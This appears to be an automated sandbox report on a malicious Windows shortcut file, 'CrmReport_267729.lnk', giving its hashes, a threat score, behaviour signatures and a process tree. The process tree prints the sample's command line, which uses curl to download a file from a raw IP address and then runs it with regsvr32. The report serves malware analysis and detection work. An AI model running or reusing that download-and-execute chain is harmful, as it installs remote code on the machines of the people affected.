Analysis
- max time kernel
43s - max time network
47s - platform
windows7_x64 - resource
win7-20220414-en - submitted
28/06/2022, 17:44
Static task
static1
Behavioral task
behavioral1
Sample
CrmReport_267729/CrmReport_267729.lnk
Resource
win7-20220414-en
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
CrmReport_267729/CrmReport_267729.lnk
Resource
win10v2004-20220414-en
0 signatures
0 seconds
General
- Target CrmReport_267729/CrmReport_267729.lnk
- Size 2KB
- Sample220628-wbfpcabccj
- SHA256 ca0aac3f0e8d7e6d9e3e25dc91078d4e955f523fc166f976e209aad45542edb0
- MD5 b4e013f3fc721e163d311d6d9ae38fd8
- SHA1 5e0abe9df79ccfa6af74c882938630298bc80869
- SHA512 ac0b8c7e9f1089b2134e639f4207ca3d71aca454b2fbaf8c6e58c6069502f7885f9e52c9e7e262ddbe09fd82cf87d60ea798c78740048326c2ece67211b05ee2
- MD5 SHA1 SHA512
Score
3/10
Malware Config
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 1960 wrote to memory of 1520 1960 cmd.exe 29 PID 1960 wrote to memory of 1520 1960 cmd.exe 29 PID 1960 wrote to memory of 1520 1960 cmd.exe 29
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\CrmReport_267729\CrmReport_267729.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:1960 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\system32\curl -s -o C:\Users\Admin\AppData\Local\Temp\moreHe.rtf http://146.70.79.52/whenYouGive.dat&&C:\Windows\system32\regsvr32 C:\Users\Admin\AppData\Local\Temp\moreHe.rtf2⤵PID:1520
-